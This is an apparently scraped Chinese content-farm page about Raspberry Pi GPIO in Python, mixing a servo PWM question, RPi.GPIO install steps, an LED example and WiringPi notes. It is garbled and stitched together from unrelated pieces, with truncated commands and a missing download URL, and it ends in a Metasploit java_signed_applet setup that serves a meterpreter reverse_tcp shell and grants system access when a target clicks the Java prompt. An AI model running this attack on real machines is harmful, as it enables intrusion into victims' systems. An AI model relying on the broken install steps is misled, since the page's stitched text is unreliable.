是這樣我用樹莓派的gpio口,通過python的rpi.gpio 這個(gè)模塊輸出pwm波,頻率是50hz,占空比是5%~10%,可是舵機(jī)根本不動(dòng),只有在剛插上的時(shí)候會(huì)不規(guī)律的動(dòng)一下,

從網(wǎng)站建設(shè)到定制行業(yè)解決方案,為提供成都做網(wǎng)站、成都網(wǎng)站制作服務(wù)體系,各種行業(yè)企業(yè)客戶提供網(wǎng)站建設(shè)解決方案,助力業(yè)務(wù)快速發(fā)展。創(chuàng)新互聯(lián)將不斷加快創(chuàng)新步伐,提供優(yōu)質(zhì)的建站服務(wù)。
不同操作系統(tǒng)安裝GPIO的命令是不同的,這里以樹莓派的官方操作系統(tǒng)Raspbian為例,說明如何安裝GPIO庫。Raspbian中安裝了兩個(gè)Python版本,分別是2.7.3和3.2.2。Python2.x的安裝包會(huì)一python為前綴,而Python3.x的安裝包回憶python3為前綴。Python2安裝GPIO庫需要輸入命令:1sudoapt-getinstallpython-rpi.gpioPython3安裝GPIO庫需要輸入命令:1sudoapt-getinstallpython
python GPIO
1、先安裝python-dev,輸入以下指令。
sudo
apt-get install python-dev
2、安裝RPi.GPIO,依次輸入以下指令。
1)下載:$ wget
2)解壓縮:$ tar xvzf RPi.GPIO-0.5.3a.tar.gz
3)進(jìn)入解壓之后的目錄 :$ cd RPi.GPIO-0.5.3a
4)啟動(dòng)安裝 :$ sudo python setup.py install
3、例子:
[python] view plain copy
# -*- coding: utf-8 -*-
import RPi.GPIO as GPIO
import time
# BOARD編號(hào)方式,基于插座引腳編號(hào)
GPIO.setmode(GPIO.BOARD)
# 輸出模式
GPIO.setup(11, GPIO.OUT)
while True:
GPIO.output(11, GPIO.HIGH)
time.sleep(1)
GPIO.output(11, GPIO.LOW)
time.sleep(1)
4、執(zhí)行:
sudo python led.py
5、說明:
1)GPIO.setmode(GPIO.BOARD),采用插座引腳編號(hào)方式。
2)由于采用插座引腳編號(hào)方式,此處的11腳相當(dāng)于BCM2835寄存器編號(hào)方式的引腳11。
python GPIO
1、說明:
WiringPi是應(yīng)用于樹莓派平臺(tái)的GPIO控制庫函數(shù),WiringPi遵守GUN Lv3。wiringPi使用C或者C++開發(fā)并且可以被其他語言包轉(zhuǎn),例如python、ruby或者PHP等。
wiringPi包括一套gpio控制命令,使用gpio命令可以控制樹莓派GPIO管腳。用戶可以利用gpio命令通過shell腳本控制或查詢
GPIO管腳。wiringPi是可以擴(kuò)展的,可以利用wiringPi的內(nèi)部模塊擴(kuò)展模擬量輸入芯片,可以使用
MCP23x17/MCP23x08(I2C
或者SPI)擴(kuò)展GPIO接口。另外可通過樹莓派上的串口和Atmega(例如arduino等)擴(kuò)展更多的GPIO功能。另外,用戶可以自己編寫擴(kuò)展模
塊并把自定義的擴(kuò)展模塊集成到wiringPi中。WiringPi支持模擬量的讀取和設(shè)置功能,不過在樹莓派上并沒有模擬量設(shè)備。但是使用
WiringPi中的軟件模塊卻可以輕松地應(yīng)用AD或DA芯片。
需要以以root權(quán)限運(yùn)行python程序。
程序上使用的Python操作端口(需要安裝PythonGPIO庫),寫了個(gè)腳本,然后再通過php調(diào)用這個(gè)腳本實(shí)現(xiàn)開門。
所說方法用C程序更換用戶UID?編譯好執(zhí)行(失敗,還是單獨(dú)執(zhí)行可以調(diào)用不可以)變通,讓這個(gè)腳本主動(dòng)輪詢某個(gè)文件內(nèi)值,php控制這個(gè)文件(至少能用起來,但總感覺這個(gè)方法不怎么好)修改/etc/sudoers文件,賦予特定用戶特定權(quán)限。
安裝 Sun Java JDK 和 rjb gem, 并且設(shè)置環(huán)境變量
—–code—–
root@bt: apt-get install sun-java6-jdk
root@bt: gem install rjb
變量設(shè)置
root@bt: echo “JAVA_HOME=/usr/lib/jvm/java-6-sun” /etc/bash.bashrc
root@bt: echo “export JAVA_HOME” /etc/bash.bashrc
root@bt: JAVA_HOME=/usr/lib/jvm/java-6-sun
root@bt: export JAVA_HOME
—end code——
—start metasploit—–
use exploit/multi/browser/java_signed_applet
set TARGET 1 //請(qǐng)注意你的目標(biāo)
set SRVHOST 10.2.4.200
set SRVPORT 80
set URIPATH pentura
set PAYLOAD /meterpreter/reverse_tcp
set LHOST 10.2.4.200
set LPORT 4444
—end metasploit——–
———————————————————————-
如果當(dāng)有一臺(tái)機(jī)子訪問了你的80端口
METASPLOIT控制端里將會(huì)顯示詳細(xì)的信息
———————————————————————
訪問你80端口的機(jī)子瀏覽器會(huì)跳出java窗口,如果目標(biāo)點(diǎn)擊確定,你就能取得系統(tǒng)權(quán)限
你還可以修改java小程序的,以便實(shí)現(xiàn)更加真是的ssl.
分享題目:gpio函數(shù)Python,GPIO詳解
網(wǎng)址分享:http://chinadenli.net/article3/dsgosis.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供域名注冊(cè)、定制開發(fā)、關(guān)鍵詞優(yōu)化、小程序開發(fā)、網(wǎng)站導(dǎo)航、響應(yīng)式網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)